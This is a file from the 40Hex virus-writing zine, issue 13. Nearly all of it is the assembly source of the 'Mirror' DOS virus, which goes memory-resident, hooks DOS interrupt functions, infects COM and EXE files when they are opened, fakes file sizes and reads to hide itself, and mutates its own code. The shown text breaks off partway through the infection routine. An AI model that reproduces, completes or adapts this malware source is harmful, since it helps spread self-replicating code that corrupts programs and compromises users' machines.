40Hex Number 13 Volume 4 Issue 1                                      File 005

8<------------<mirror.asm>--------------------------------------------------->8
;*****************************************************************************;
;                                                                             ;
; Mirror:                                                                     ;
;                                                                             ;
; Mirror is the reverse of Stealth techniques. This virus doesn't hide the    ;
; virus, but but let the scanner think every program is infected by the       ;
; virus. The virus is also made to work with every exe file that uses         ;
; internal overlays, by making all running programs stealth.                  ;
;                                                                             ;
;*****************************************************************************;

code segment public 'code'
                assume  cs:code, ds:code, es:code
                org     100h

VirusTop        equ     $
VirusSize       equ     (VirusEnd - $)
MemorySize      equ     (MemoryEnd - $ + VirusSize)

EntryPoint:     mov     dx,ds
                call    ExeMain

Relocate        equ     ($ - VirusTop)
ComExe          equ     byte ptr [$ - VirusTop - 2]
ExeID           equ     (ExeMain - $)
ComID           equ     (ComMain - $)

HeaderLength    equ     1ah
TheHeader       equ     $
Header          equ     word  ptr [$ - VirusTop]
JumpOpcode      equ     byte  ptr [$ - VirusTop]
JumpDisp        equ     word  ptr [$ - VirusTop + 01h]
PartPage        equ     word  ptr [$ - VirusTop + 02h]
PageCount       equ     word  ptr [$ - VirusTop + 04h]
ReloCount       equ     word  ptr [$ - VirusTop + 06h]
HeaderSize      equ     word  ptr [$ - VirusTop + 08h]
MinMem          equ     word  ptr [$ - VirusTop + 0ah]
MaxMem          equ     word  ptr [$ - VirusTop + 0ch]
ExeSS           equ     word  ptr [$ - VirusTop + 0eh]
ExeSP           equ     word  ptr [$ - VirusTop + 10h]
Signature       equ     word  ptr [$ - VirusTop + 12h]
ExeEntry        equ     dword ptr [$ - VirusTop + 14h]
ExeIP           equ     word  ptr [$ - VirusTop + 14h]
ExeCS           equ     word  ptr [$ - VirusTop + 16h]
RelocationOfs   equ     word  ptr [$ - VirusTop + 18h]

                dw      "ZM",6 dup(0),0,0ffeh,?,0,-10h,0

VirusID         equ     byte ptr [$ - VirusTop]
                db      '[ Mirror: Bit Addict / TridenT ]'

GotoNewCS:      db      0eah
                dw      Continue - VirusTop,?
NewCodeSegment  equ     word ptr [$ - VirusTop - 2]

ExecuteProg:    mov     ax,1234h
SavedPSP        equ     word ptr [$ - VirusTop - 2]
                mov     ds,ax
                mov     es,ax
                mov     ax,1234h
SavedRegAX      equ     word ptr [$ - VirusTop - 2]
                mov     dx,1234h
InitExeSS       equ     word ptr [$ - VirusTop - 2]
                mov     ss,dx
                mov     sp,1234h
InitExeSP       equ     word ptr [$ - VirusTop - 2]
                db      0eah,?,?,?,?
InitExeIP       equ     word ptr [$ - VirusTop - 4]
InitExeCS       equ     word ptr [$ - VirusTop - 2]

Continue:       mov     ss,cs:InitExeSS
                mov     sp,cs:InitExeSP
                sti
                mov     ax,1234h
PatchSegment    equ     word ptr [$ - VirusTop - 2]
                mov     bx,1234h
PatchOffset     equ     word ptr [$ - VirusTop - 2]
                mov     ds,ax
                mov     byte ptr ds:[bx-1],9ah
                mov     word ptr ds:[bx],(Dos - VirusTop)
                mov     word ptr ds:[bx+2],cs
                mov     ah,3fh
                xor     bx,bx
                mov     cx,1
                mov     dx,-1
                int     21h
                mov     ah,40h
                inc     bx
                int     21h
                mov     ds,cs:SavedPSP
                mov     ax,ds:[2ch]
                mov     ch,-1
                xor     di,di
                mov     es,ax
                push    cs
                pop     ds
SearchComspec:  or      ax,ax
                je      ExecuteProg
                mov     cx,8
                mov     dx,di
                mov     si,offset Comspec
                cld
                repe    cmpsb
                xchg    dx,di
                je      ComspecFound
                xor     ax,ax
                mov     ch,0ffh
                repne   scasb
                mov     al,es:[di]
                jmp     SearchComspec
ComspecFound:   push    es
                pop     ds
                mov     ax,3d00h
                int     21h
                jc      ExecuteProg
                xchg    ax,bx
                mov     ah,3fh
                xor     cx,cx
                mov     dx,-1
                int     21h
                mov     ah,3eh
                int     21h
                jmp     ExecuteProg

Comspec         equ     byte ptr [$ - VirusTop]
                db      'COMSPEC='

ComMain:        pop     si
                mov     cx,HeaderLength
                mov     di,100h
                mov     ds:InitExeSS[si - Relocate],ss
                mov     ds:InitExeSP[si - Relocate],sp
                mov     ds:InitExeCS[si - Relocate],cs
                mov     ds:InitExeIP[si - Relocate],di
                cld
                rep     movsb
                sub     si,Relocate + HeaderLength
                jmp     short Main

ExeMain:        pop     si
                sub     si,Relocate
                mov     bx,ds
                add     bx,10h
                mov     cx,bx
                push    cs
                pop     ds
                add     bx,ds:ExeSS[si]
                mov     ds:InitExeSS[si],bx
                mov     bx,ds:ExeSP[si]
                mov     ds:InitExeSP[si],bx
                add     cx,ds:ExeCS[si]
                mov     ds:InitExeCS[si],cx
                mov     cx,ds:ExeIP[si]
                mov     ds:InitExeIP[si],cx
Main:           mov     ds:SavedPSP[si],dx
                mov     ds:SavedRegAX[si],ax
                mov     ah,34h
                int     21h
                dec     bx
                mov     ds:DosSDAofs[si],bx
                mov     ds:DosSDAseg[si],es
                mov     ah,52h
                int     21h
                mov     ax,es
                cmp     ax,ds:DosSDAseg[si]
                jne     CannotInstall
                mov     ax,es:[bx+4]
                mov     ds:DosSFTofs[si],ax
                mov     ax,es:[bx+6]
                mov     ds:DosSFTseg[si],ax
                mov     ax,es:[bx-2]
                mov     ds:FirstMCB[si],ax
                sub     ax,ds:DosSDAseg[si]
                mov     cl,4
                shl     ax,cl
                xchg    ax,cx
                xor     di,di
                jmp     short SearchOpcode
CannotInstall:  jmp     ExecuteProg
SearchHMA:      or      di,di
                je      CannotInstall
                mov     ax,-1
                mov     es,ax
                mov     cx,-10h
                mov     di,10h
SearchOpcode:   mov     al,36h
                repne   scasb
                jne     SearchHMA
                cmp     word ptr es:[di],16ffh
                jne     SearchOpcode
                mov     ax,es:[di+2]
                mov     bx,351eh
                cmp     ax,57ch
                je      OpcodeFound
                mov     bx,3b84h
                cmp     ax,5eah
                jne     SearchOpcode
OpcodeFound:    mov     ds:JumpVar[si],ax
                mov     ds:DosSFTsize[si],bh
                mov     ds:StackPtr[si],bl
                mov     ds:PatchOffset[si],di
                mov     ds:PatchSegment[si],es
                mov     al,0cbh
                repne   scasb
                jne     CannotInstall
                dec     di
                mov     ds:ReturnOpcodeOfs[si],di
                mov     ds:ReturnOpcodeSeg[si],es
                mov     ax,ds:FirstMCB[si]
                xor     bx,bx
                dec     dx
SearchBlock:    mov     ds,ax
                cmp     word ptr ds:[bx+1],bx
                jne     NotFree
                cmp     word ptr ds:[bx+3],(MemorySize + 0fh) / 10h
                jb      NotFree
                mov     dx,ax
NotFree:        inc     ax
                add     ax,ds:[bx+3]
                cmp     byte ptr ds:[bx],"M"
                je      SearchBlock
                mov     ds,dx
                mov     cx,(MemorySize + 0fh) / 10h
                add     dx,ds:[bx+3]
                sub     dx,cx
                cmp     bx,ds:[bx+1]
                je      FreeBlock
                sbb     ds:[bx+3],cx
                mov     al,"M"
                xchg    al,ds:[bx]
                mov     ds,dx
                mov     ds:[bx],al
                mov     ds:[bx+1],bx
                mov     ds:[bx+3],cx
FreeBlock:      inc     dx
                mov     es,dx
                push    cs
                pop     ds
                std
                mov     ax,-1
                mov     ds:LastPSP[si],ax
                mov     ds:NewCodeSegment[si],dx
                cli
                mov     cx,(MemoryEnd - VirusEnd)
                mov     di,offset MemoryEnd - VirusTop - 1
                rep     stosb
                mov     cx,(VirusEnd - VirusTop)
                add     si,offset VirusEnd - VirusTop - 1
                rep     movsb
                jmp     GotoNewCS

;*****************************************************************************;
;                                                                             ;
; New dos entry point                                                         ;
;                                                                             ;
;*****************************************************************************;

dbw             macro   bval, wval
                db      bval
                dw      wval - VirusTop
                endm

Functions       equ     byte ptr [$ - VirusTop]
                dbw     11h, FindFCB
                dbw     12h, FindFCB
                dbw     3ch, CheckFileTable
                dbw     3dh, Open
                dbw     3fh, Read
                dbw     40h, Write
                dbw     42h, Seek
                dbw     45h, CheckFileTable
                dbw     48h, ShowBlock
                dbw     4ah, ShowBlock
                dbw     4bh, ShowBlock
                dbw     4eh, FindFile
                dbw     4fh, FindFile
                dbw     5ah, CheckFileTable
                dbw     5bh, CheckFileTable
                dbw     6ch, ExtOpen
LastFunction    equ     byte ptr [$ - VirusTop]
                dbw     -1h, DoNothing

Dos:            pop     cs:DosMainOfs
                pop     cs:DosMainSeg
                push    bx
                push    ds
                push    cs
                pop     ds
                mov     bx,offset Functions - 3
NextFunction:   add     bx,3
                cmp     ah,[bx]
                je      RightFunction
                ja      NextFunction
                mov     bx,offset LastFunction
RightFunction:  push    bp
                mov     bp,sp
                mov     bx,[bx+1]
                xchg    bx,[bp+4]
                pop     bp
                push    es
                push    ax
                push    bx
                push    cx
                push    dx
                push    si
                push    di
                mov     ax,ss:[1234h]
JumpVar         equ     word ptr [$ - VirusTop - 2]
                mov     cs:DosFunctionOfs,ax
                mov     ax,cs:DosMainSeg
                mov     cs:DosFunctionSeg,ax
                call    GetPSP
                cmp     word ptr ds:[0],20cdh
                jne     IllegalPSP
                mov     ax,ds
                cmp     ax,0c000h
                jae     IllegalPSP
                cmp     ax,1234h
LastPSP         equ     word ptr [$ - VirusTop - 2]
                jne     OtherPSP
IllegalPSP:     jmp     SamePSP
OtherPSP:       push    cs
                pop     ds
                push    cs
                pop     es
                mov     ds:LastPSP,ax
                cld
                mov     bx,-1
                mov     cx,8
                mov     di,offset StealthNames - 8
NextPSP:        add     di,8
                scasw
                ja      DoNotClear
                mov     ds:[di-2],bx
DoNotClear:     loop    NextPSP
                mov     cl,7
                mov     di,offset StealthNames - 10
FindEmptyName:  add     di,10
                cmp     ds:[di],bx
                je      EmptyName
                cmp     ds:[di],ax
                loopne  FindEmptyName
EmptyName:      stosw
                mov     si,di
                dec     ax
                cmp     ds:DosSFTsize,35h
                mov     ds,ax
                je      DosVersion3
                mov     di,8
                jmp     BeginOfName
DosVersion3:    mov     es,ds:[3ch]
                push    es
                pop     ds
                xor     ax,ax
                mov     ch,-1
                xor     di,di
NotEnd:         repne   scasb
                scasb
                jne     NotEnd
                inc     di
                inc     di
                mov     bx,di
                repne   scasb
NextPathChar:   mov     al,ds:[di-2]
                dec     di
                cmp     al,"\"
                je      BeginOfName
                cmp     al,":"
                je      BeginOfName
                cmp     di,bx
                ja      NextPathChar
BeginOfName:    push    cs
                pop     es
                mov     cx,8
                xchg    si,di
NextNameChar:   lodsb
                cmp     al,"."
                je      BlankIt
                cmp     al," "
                jbe     BlankIt
                stosb
                loop    NextNameChar
BlankIt:        mov     al," "
                rep     stosb
SamePSP:        call    FindMCB
                jne     Hide_4
                cmp     ds:[bx+1],bx
                je      Hide_1
                mov     dx,ax
Hide_1:         push    dx
                mov     ds,ax
                mov     ds:[bx+1],bx
                mov     cx,-1
                mov     ds,dx
Hide_2:         mov     ax,ds:[bx+3]
                inc     ax
                add     cx,ax
                add     dx,ax
                mov     al,ds:[bx]
                cmp     al,"M"
                jne     Hide_3
                mov     ds,dx
                cmp     ds:[bx+1],bx
                je      Hide_2
Hide_3:         pop     ds
                mov     ds:[bx],al
                mov     ds:[bx+3],cx
Hide_4:         pop     di
                pop     si
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                pop     es
                pop     ds
                ret

;*****************************************************************************;
;                                                                             ;
; Show memory block to prevent overwriting by another program                 ;
;                                                                             ;
;*****************************************************************************;

ShowBlock:      push    ax
                push    bx
                push    cx
                push    dx
                push    ds
Show_1:         call    FindMCB
                je      Show_2
                mov     ax,cx
                sub     cx,dx
                mov     dx,ds:[bx+3]
                sub     dx,cx
                dec     cx
                call    SetMCB
Show_2:         mov     ds,ax
                mov     ds:[bx+1],cs
                mov     cx,(MemorySize + 0fh) / 10h
                mov     dx,ds:[bx+3]
                sub     dx,cx
                jbe     Show_3
                call    SetMCB
Show_3:         pop     ds
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                jmp     DoNothing

;*****************************************************************************;
;                                                                             ;
; Directory search                                                            ;
;                                                                             ;
;*****************************************************************************;

CheckExtension: xor     ax,ax
                mov     ch,-1
                cld
                repne   scasb
CheckExt:       mov     ax,es:[di-4]
                or      ax,2020h
                cmp     ax,"xe"
                je      CheckLastChar
                cmp     ax,"oc"
                jne     NotExecFile
                mov     al,"m"
CheckLastChar:  mov     ah,es:[di-2]
                or      ah,20h
                cmp     ah,al
NotExecFile:    ret

FindFile:       call    DosCall
                jc      FindFailed
                push    ax
                call    GetDTA
                push    di
                add     di,1eh
                call    CheckExtension
                pop     di
                jne     WrongFile
RightFile:      mov     ax,0ddh
                sub     al,es:[di+1ah]
                jz      WrongFile
                sub     al,(VirusSize + 20h) and 0ffh
                add     ax,(VirusSize + 20h)
                add     word ptr es:[di+1ah],ax
                adc     word ptr es:[di+1ch],0
WrongFile:      pop     ax
FindFailed:     jmp     DosMain

FindFCB:        call    DosCall
                cmp     al,0
                jne     FindFailed
                push    ax
                call    GetDTA
                cmp     byte ptr es:[di],-1
                jne     NotExtendedFCB
                add     di,7
NotExtendedFCB: add     di,0dh
                call    CheckExt
                jne     WrongFile
                sub     di,0ah
                jmp     RightFile

;*****************************************************************************;
;                                                                             ;
; Seeking to the end of a mirrored file                                       ;
;                                                                             ;
;*****************************************************************************;

Seek:           cmp     al,2
                jne     DoSeek
                call    FindHandle
                jnz     DoSeek
                test    byte ptr cs:[si+6],80h
                mov     si,cs:TotalSize
                jnz     SeekStealth
SeekMirror:     add     dx,si
                adc     cx,0
                jmp     short DoSeek
SeekStealth:    sub     dx,si
                sbb     cx,0
DoSeek:         jmp     DoNothing

;*****************************************************************************;
;                                                                             ;
; Routines to call the orginal dos code                                       ;
;                                                                             ;
;*****************************************************************************;

StackFrame:     db      36h,0c5h,36h,?,5
StackPtr        equ     byte ptr [$ - VirusTop - 2]
                ret

WriteCall:      push    ax
                mov     ax,cs:WriteFunction
                jmp     short ReadWriteCall
ReadCall:       push    ax
                mov     ax,cs:ReadFunction
ReadWriteCall:  mov     cs:DosFunctionOfs,ax
                pop     ax
DosCall:        push    cs
                call    JumpToFunction
                mov     ah,ds:[si+22]
                sahf
                mov     ah,ds:[si+1]
                mov     bx,ds:[si+2]
                mov     cx,ds:[si+4]
                mov     dx,ds:[si+6]
                ret

DosMain:        db      0eah
                dd      ?
DosMainOfs      equ     word ptr [$ - VirusTop - 4]
DosMainSeg      equ     word ptr [$ - VirusTop - 2]

JumpToFunction: push    ax
                push    cx
                push    bp
                mov     bp,sp
                mov     ax,1234h
ReturnOpcodeSeg equ     word ptr [$ - VirusTop - 2]
                sub     ax,cs:DosFunctionSeg
                mov     cl,4
                shl     ax,cl
                add     ax,1234h
ReturnOpcodeOfs equ     word ptr [$ - VirusTop - 2]
                xchg    ax,ss:[bp+4]
                pop     bp
                pop     cx
                jmp     short DosFunction

DoNothing:      push    cs:DosMainOfs
DosFunction:    db      0eah
                dw      ?,?,0a839h,0a89fh
DosFunctionOfs  equ     word ptr [$ - VirusTop - 8]
DosFunctionSeg  equ     word ptr [$ - VirusTop - 6]
ReadFunction    equ     word ptr [$ - VirusTop - 4]
WriteFunction   equ     word ptr [$ - VirusTop - 2]

;*****************************************************************************;
;                                                                             ;
; Opening a mirrored file                                                     ;
;                                                                             ;
;*****************************************************************************;

ChkHandles:     push    ax
                push    bx
                push    cx
                push    si
                push    ds
                mov     bx,offset FileTable
                mov     cx,MaxFiles
ChkNextHandle:  cmp     word ptr cs:[bx],-1
                je      ChkHandleOk
                mov     ax,cs:[bx]
                call    FindSFT
                cmp     word ptr ds:[si],0
                jne     ChkHandleOk
                mov     word ptr cs:[bx],-1
ChkHandleOk:    add     bx,FileTableEntry
                loop    ChkNextHandle
                pop     ds
                pop     si
                pop     cx
                pop     bx
                pop     ax
                ret

CheckFileTable: call    ChkHandles
                jmp     DoNothing

ExtOpen:        call    ChkHandles
                or      al,al
                jnz     DoNothing
                call    DosCall
                jc      DosMain
                cmp     cl,1
                jne     DosMain
                jmp     OpenOk
Open:           call    ChkHandles
                call    DosCall
                jc      DosMain
OpenOk:         push    ds:[si+22]
                push    ax
                xchg    ax,bx
                call    GetSFTindex
                call    FindSFT
                test    byte ptr ds:[si+5],80h
                jnz     NotExecutable
                push    ds
                pop     es
                lea     di,[si+2ch]
                call    CheckExt
NotExecutable:  jz      Executable
                jmp     DoNotInfect
Executable:     pop     bx
                mov     cx,HeaderLength
                mov     dx,offset Header
                push    cs
                pop     ds
                push    bx
                call    ReadCall
                call    LastSFT
                mov     byte ptr ds:[si+15h],3ch
                pop     bx
                mov     cx,4
                mov     dx,offset NewExeOfs
                push    cs
                pop     ds
                push    bx
                call    ReadCall
                call    LastSFT
                mov     ax,ds:[si+11h]
                mov     cs:FileSizeL,ax
                mov     ax,ds:[si+13h]
                mov     cs:FileSizeH,ax
                push    cs
                pop     es
                mov     cx,8
                mov     di,offset StealthNames - 8
                cld
NextName:       jcxz    NotStealth
                mov     ax,-1
                dec     cx
                add     di,8
                scasw
                je      NextName
                push    cx
                push    si
                push    di
                mov     cx,8
                add     si,20h
                repe    cmpsb
                pop     di
                pop     si
                pop     cx
                jne     NextName
                jmp     short StealthMode
NotStealth:     cmp     byte ptr ds:[si+11h],0ddh
                je      DoNotInfect
                call    CalcImageSize
                cmp     ds:[si+13h],dx
                jb      DoNotInfect
                ja      FileSizeOk
                cmp     ds:[si+11h],ax
                jb      DoNotInfect
FileSizeOk:     call    CalcImageSize
                mov     dx,0
                mov     si,offset Header
                jc      StoreFileInfo
                push    cs
                pop     ds
                cmp     ds:RelocationOfs,40h
                jb      StoreFileInfo
                cmp     ds:NewExeOfsL,dx
                jne     DoNotInfect
                cmp     ds:NewExeOfsH,dx
                jne     DoNotInfect
StoreFileInfo:  push    si
                mov     bx,-1
                call    FindHandle
                mov     bx,si
                pop     si
                jne     DoNotInfect
                push    cs
                pop     ds
                mov     ds:[bx],1234h
LastSFTindex    equ     word ptr [$ - VirusTop - 2]
                mov     ax,ds:FileSizeL
                mov     ds:[bx+2],ax
                mov     ax,ds:FileSizeH
                mov     ds:[bx+4],ax
                mov     ds:[bx+6],dl
                mov     cx,HeaderLength
                lea     di,[bx+7]
                cld
                rep     movsb
DoNotInfect:    xor     ax,ax
                call    LastSFT
                mov     ds:[si+15h],ax
                mov     ds:[si+17h],ax
                call    StackFrame
                pop     ax
                mov     ds:[si],ax
                pop     ds:[si+22]
                jmp     DosMain

StealthMode:    cmp     byte ptr ds:[si+11h],0ddh
                jne     DoNotInfect
                call    CalcImageSize
                mov     cx,cs:Signature
                sub     ax,cx
                sbb     dx,0
                mov     ds:[si+15h],ax
                mov     ds:[si+17h],dx
                push    cs
                pop     ds
                sub     ds:FileSizeL,cx
                sbb     ds:FileSizeH,0
                cmp     dx,10h
                jae     DoNotInfect
                call    SplitImageSize
                call    CalcImageSize
                mov     cx,10h
                div     cx
                sub     dx,ds:ExeIP
                jne     DoNotInfect
                sub     ax,ds:HeaderSize
                sub     ax,ds:ExeCS
                jne     DoNotInfect
                pop     bx
                push    bx
                call    ReadVirus
                jne     DoNotInfect
                mov     dl,85h
                lea     si,ds:[di+Header-VirusID-20h]
                jmp     StoreFileInfo

GetSFTindex:    push    si
                push    ds
                call    GetPSP
                lea     ax,[bx+1]
                cmp     ds:[32h],ax
                jb      InvalidHandle
                lds     si,ds:[34h]
                mov     al,ds:[bx+si]
                sub     ah,ah
                mov     cs:LastSFTindex,ax
InvalidHandle:  pop     ds
                pop     si
                ret

FindSFT:        mov     si,1234h
DosSFTseg       equ     word ptr [$ - VirusTop - 2]
                mov     ds,si
                mov     si,1234h
DosSFTofs       equ     word ptr [$ - VirusTop - 2]
NextSFT:        cmp     ax,ds:[si+4]
                jb      RightSFT
                sub     ax,ds:[si+4]
                lds     si,ds:[si]
                jmp     short NextSFT
RightSFT:       mov     ah,12h
DosSFTsize      equ     byte ptr [$ - VirusTop - 1]
                mul     ah
                add     si,ax
                add     si,6
                mov     cs:LastSFTofs,si
                mov     cs:LastSFTseg,ds
LastSFT:        mov     si,1234h
LastSFTseg      equ     word ptr [$ - VirusTop - 2]
                mov     ds,si
                mov     si,1234h
LastSFTofs      equ     word ptr [$ - VirusTop - 2]
                ret

GetDTA:         call    DosSDA
                les     di,ds:[si+0ch]
DosSDA:         mov     si,1234h
DosSDAseg       equ     word ptr [$ - VirusTop - 2]
                mov     ds,si
                mov     si,1234h
DosSDAofs       equ     word ptr [$ - VirusTop - 2]
                ret

GetPSP:         call    DosSDA
                mov     ds,ds:[si+10h]
                ret

;*****************************************************************************;
;                                                                             ;
; Reading from and writing to a mirrored file                                 ;
;                                                                             ;
;*****************************************************************************;

Read:           cmp     dx,-1
                jne     NotInfectCmd
                or      cx,cx
                jne     NotInfectCmd
                call    FindHandle
                jnz     AbortAction
                call    InfectFile
                jmp     short AbortAction
NotInfectCmd:   push    ax
                mov     ax,cs:DosFunctionOfs
                mov     cs:ReadFunction,ax
                call    FindHandle
                jnz     RdOtherHandle
                mov     ah,40h
                or      ah,cs:[si+6]
                or      byte ptr cs:[si+6],1
                sahf
RdOtherHandle:  pop     ax
                jnz     OtherHandle
                jns     _ReadMirror
                jmp     ReadStealth

Write:          push    ax
                mov     ax,cs:DosFunctionOfs
                mov     cs:WriteFunction,ax
                call    FindHandle
                jnz     WrOtherHandle
                mov     ah,40h
                or      ah,cs:[si+6]
                or      byte ptr cs:[si+6],4
                sahf
WrOtherHandle:  pop     ax
                jnz     OtherHandle
                js      _WriteStealth
                jp      RemoveHandle
                jc      WriteMirror
                call    InfectFile
                jc      WriteMirror
RemoveHandle:   call    FindHandle
                mov     word ptr cs:[si],-1
ActionOk:       jmp     DoNothing
OtherHandle:    cmp     bx,2
                jae     ActionOk
                cmp     dx,-1
                jne     ActionOk
AbortAction:    jmp     DosMain

_WriteStealth:  jmp     WriteStealth
_ReadMirror:    jmp     ReadMirror
_Truncate:      jmp     Truncate

IllegalWrite:   mov     ax,5
                call    DosSDA
                mov     word ptr ds:[si+2],1ffh
                mov     word ptr ds:[si+4],ax
                mov     word ptr ds:[si+6],307h
                call    StackFrame
                mov     ds:[si],ax
                or      ds:[si+22],al
                jmp     DosMain

WriteMirror:    call    SplitCount
                jcxz    _Truncate
                call    CompareHeaders
                jne     IllegalWrite
                call    CompareViruses
                jne     IllegalWrite
                call    FindHandle
ReadMirror:     call    SplitCount
                push    ds
                mov     ax,1234h
VirusOffset     equ     word ptr [$ - VirusTop - 2]
                call    LastSFT
                sub     word ptr ds:[si+15h],ax
                sbb     word ptr ds:[si+17h],0
                pop     ds
                xor     ax,ax
                sub     cx,cs:VirusCount
                jcxz    ReadZero
                call    DosCall
ReadZero:       pushf
                push    ax
                push    cs
                pop     ds
                mov     ax,ds:VirusCount
                add     ax,ds:VirusOffset
                call    LastSFT
                add     word ptr ds:[si+15h],ax
                adc     word ptr ds:[si+17h],0
                pop     ax
                popf
                jc      ReadError
                add     ax,cs:VirusCount
                push    ax
                call    StackFrame
                xchg    ax,cx
                mov     ds:[si],cx
                mov     bx,ds:[si+6]
                mov     es,ds:[si+14]
                mov     ds,ds:[si+14]
                call    SplitCount
                mov     di,1234h
VirusCount      equ     word ptr [$ - VirusTop - 2]
                or      di,di
                jz      NewHeader
                call    Mutate
                mov     cx,1234h
OverlayCount    equ     word ptr [$ - VirusTop - 2]
                mov     si,1234h
ImageCount      equ     word ptr [$ - VirusTop - 2]
                add     si,bx
                push    si
                push    di
                jcxz    DoNotMove
                dec     si
                add     si,cx
                add     di,si
                std
                rep     movsb
DoNotMove:      push    cs
                pop     ds
                pop     cx
                pop     di
                mov     si,offset Buffer
                add     si,ds:VirusOffset
                cld
                rep     movsb
NewHeader:      mov     cx,ds:HeaderCount
                jcxz    ReadError
                call    UpdateHeader
                mov     cx,ds:HeaderCount
                mov     si,ds:SFT_FilePosL
                lea     di,[bx+si]
                add     si,offset Header
                cld
                rep     movsb
ReadError:      pop     ax
                jmp     DosMain

Truncate:       push    ds
                call    LastSFT
                mov     ax,cs:VirusOffset
                sub     ds:[si+15h],ax
                sbb     word ptr ds:[si+17h],0
                pop     ds
                call    DosCall
                pushf
                push    ax
                push    ds:[si+2]
                call    LastSFT
                mov     ax,cs:VirusOffset
                add     word ptr ds:[si+15h],ax
                adc     word ptr ds:[si+17h],0
                pop     bx
                pop     ax
                popf
                jc      TruncateEnd
                call    FindHandle
                mov     word ptr cs:[si],-1
TruncateEnd:    jmp     DosMain

WriteStealth:   call    SplitCount
                neg     cs:VirusOffset
                jcxz    Truncate
                call    ChangeHeader
ReadStealth:    call    SplitCount
                push    ds
                mov     cx,cs:HeaderCount
                call    LastSFT
                add     word ptr ds:[si+15h],cx
                adc     word ptr ds:[si+17h],0
                pop     ds
                push    dx
                push    ds
                add     dx,cx
                neg     cx
                add     cx,cs:ImageCount
                jcxz    FirstCntZero
                call    DosCall
FirstCntZero:   call    LastSFT
                add     word ptr ds:[si+15h],1234
TotalSize       equ     word ptr [$ - VirusTop - 2]
                adc     word ptr ds:[si+17h],0
                pop     ds
                pop     dx
                push    dx
                push    ds
                xor     ax,ax
                mov     cx,1234h
StealthCount    equ     word ptr [$ - VirusTop - 2]
                add     dx,cs:ImageCount
                jcxz    SecondCntZero
                call    DosCall
SecondCntZero:  call    LastSFT
                mov     cx,cs:TotalSize
                sub     word ptr ds:[si+15h],cx
                sbb     word ptr ds:[si+17h],0
                push    cs
                pop     ds
                pop     es
                pop     di
                add     ax,ds:ImageCount
                mov     cx,ds:HeaderCount
                jcxz    EndOfRead
                mov     si,offset Header
                add     si,ds:SFT_FilePosL
                cld
                rep     movsb
EndOfRead:      call    StackFrame
                mov     ds:[si],ax
                jmp     DosMain

CompareHeaders: push    cx
                mov     cx,cs:HeaderCount
                jcxz    NoHeaderWrite
                push    si
                push    di
                push    es
                push    dx
                push    ds
                call    UpdateHeader
                pop     ds
                pop     dx
                push    cs
                pop     es
                mov     cx,1234h
HeaderCount     equ     word ptr [$ - VirusTop - 2]
                mov     si,dx
                mov     di,offset Header
                cld
                repe    cmpsb
                pop     es
                pop     di
                pop     si
NoHeaderWrite:  pop     cx
                ret

CompareViruses: push    cx
                mov     cx,cs:VirusCount
                jcxz    NoVirusWrite
                push    cx
                push    si
                push    dx
                call    Mutate
                pop     dx
                push    di
                push    es
                push    cs
                pop     es
                mov     cx,cs:VirusCount
                mov     si,dx
                add     si,cs:ImageCount
                mov     di,offset Buffer
                add     di,cs:VirusOffset
                push    si
                cld
                repe    cmpsb
                mov     si,di
                pop     di
                jne     DoNotRemove
                push    ds
                pop     es
                mov     cx,cs:OverlayCount
                rep     movsb
DoNotRemove:    pop     es
                pop     di
                pop     si
NoVirusWrite:   pop     cx
                ret

SplitCount:     push    ax
                push    bx
                push    cx
                push    dx
                push    si
                push    di
                push    ds
                push    cs
                pop     ds
                mov     ax,HeaderLength
                cwd
                mov     si,ds:SFT_FilePosL
                mov     di,ds:SFT_FilePosH
                call    CalcCounter
                add     cx,bx
                sub     si,bx
                mov     ds:HeaderCount,bx
                push    cx
                call    CalcImageSize
                pop     cx
                xor     bx,bx
                sub     si,ax
                sbb     di,dx
                jb      VirusOfsOk
                mov     bx,ds:TotalSize
                ja      VirusOfsOk
                cmp     si,bx
                ja      VirusOfsOk
                mov     bx,si
VirusOfsOk:     mov     ds:VirusOffset,bx
                add     si,ax
                adc     di,dx
                call    CalcCounter
                mov     ds:ImageCount,bx
                cmp     ds:HeaderCount,bx
                jbe     HeaderCountOk
                mov     ds:HeaderCount,bx
HeaderCountOk:  add     ax,ds:TotalSize
                add     dx,0
                call    CalcCounter
                mov     ds:VirusCount,bx
                mov     ds:OverlayCount,cx
                add     cx,bx
                mov     ds:StealthCount,cx
                pop     ds
                pop     di
                pop     si
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                ret

CalcCounter:    push    ax
                push    dx
                xor     bx,bx
                sub     ax,si
                sbb     dx,di
                jb      CounterOk
                mov     bx,cx
                jne     CounterOk
                cmp     ax,cx
                jae     CounterOk
                xchg    ax,bx
CounterOk:      sub     cx,bx
                add     si,bx
                adc     di,0
                pop     dx
                pop     ax
                ret

ChangeHeader:   cmp     cs:HeaderCount,0
                je      NoHeaderChange
                push    ax
                push    bx
                push    cx
                push    si
                push    di
                push    es
                push    dx
                push    ds
                call    CalcImageSize
                call    LastSFT
                mov     ds:[si+15h],ax
                mov     ds:[si+17h],dx
                call    ReadVirus
                jne     WriteError
                mov     cx,ds:HeaderCount
                mov     di,offset Buffer + Header
                add     di,ds:DecryptorSize
                add     di,ds:SFT_FilePosL
                pop     ds
                pop     si
                push    si
                push    ds
                cld
                rep     movsb
                and     cs:MutationFlags,07fh
                call    Mutate
                call    CalcImageSize
                call    LastSFT
                mov     ds:[si+15h],ax
                mov     ds:[si+17h],dx
                push    cs
                pop     ds
                mov     cx,ds:TotalSize
                mov     dx,offset Buffer
                call    DosCall
WriteError:     call    LastSFT
                mov     ax,cs:SFT_FilePosL
                mov     word ptr ds:[si+15h],ax
                mov     ax,cs:SFT_FilePosH
                mov     word ptr ds:[si+17h],ax
                pop     ds
                pop     dx
                pop     es
                pop     di
                pop     si
                pop     cx
                pop     bx
                pop     ax
NoHeaderChange: ret

ReadVirus:      call    MutationParms
                push    cs:DosFunctionOfs
                call    StackFrame
                push    ds:[si]
                push    ds:[si+22]
                push    cs
                pop     ds
                mov     cx,ds:TotalSize
                mov     dx,offset Buffer
                call    ReadCall
                pop     ds:[si+22]
                pop     ds:[si]
                push    cs
                pop     ds
                pop     ds:DosFunctionOfs
                or      ds:MutationFlags,80h
                call    Mutate
                push    cs
                pop     es
                mov     cx,20h
                mov     si,offset VirusID
                mov     di,offset Buffer + VirusID
                add     di,ds:DecryptorSize
                cld
                repe    cmpsb
                ret

;*****************************************************************************;
;                                                                             ;
; Write the virus to an existing file                                         ;
;                                                                             ;
;*****************************************************************************;

Fail:           mov     al,3
                iret

InfectFile:     push    cs:DosFunctionOfs
                push    ax
                push    cx
                push    dx
